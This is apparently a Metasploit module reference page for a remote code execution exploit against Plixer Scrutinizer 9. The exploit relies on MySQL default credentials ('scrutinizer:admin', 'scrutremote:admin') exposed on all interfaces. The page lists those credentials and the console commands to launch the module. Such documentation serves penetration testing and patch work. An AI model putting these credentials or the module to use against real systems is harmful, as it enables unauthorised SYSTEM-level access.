Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential

Description

This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer. By default, the software installs a default password in MySQL, and binds the service to "0.0.0.0". This allows any remote user to login to MySQL, and then gain arbitrary remote code execution under the context of 'SYSTEM'. Examples of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/mysql/scrutinizer_upload_exec
msf exploit(scrutinizer_upload_exec) > show targets
    ...targets...
msf exploit(scrutinizer_upload_exec) > set TARGET < target-id >
msf exploit(scrutinizer_upload_exec) > show options
    ...show and set options...
msf exploit(scrutinizer_upload_exec) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
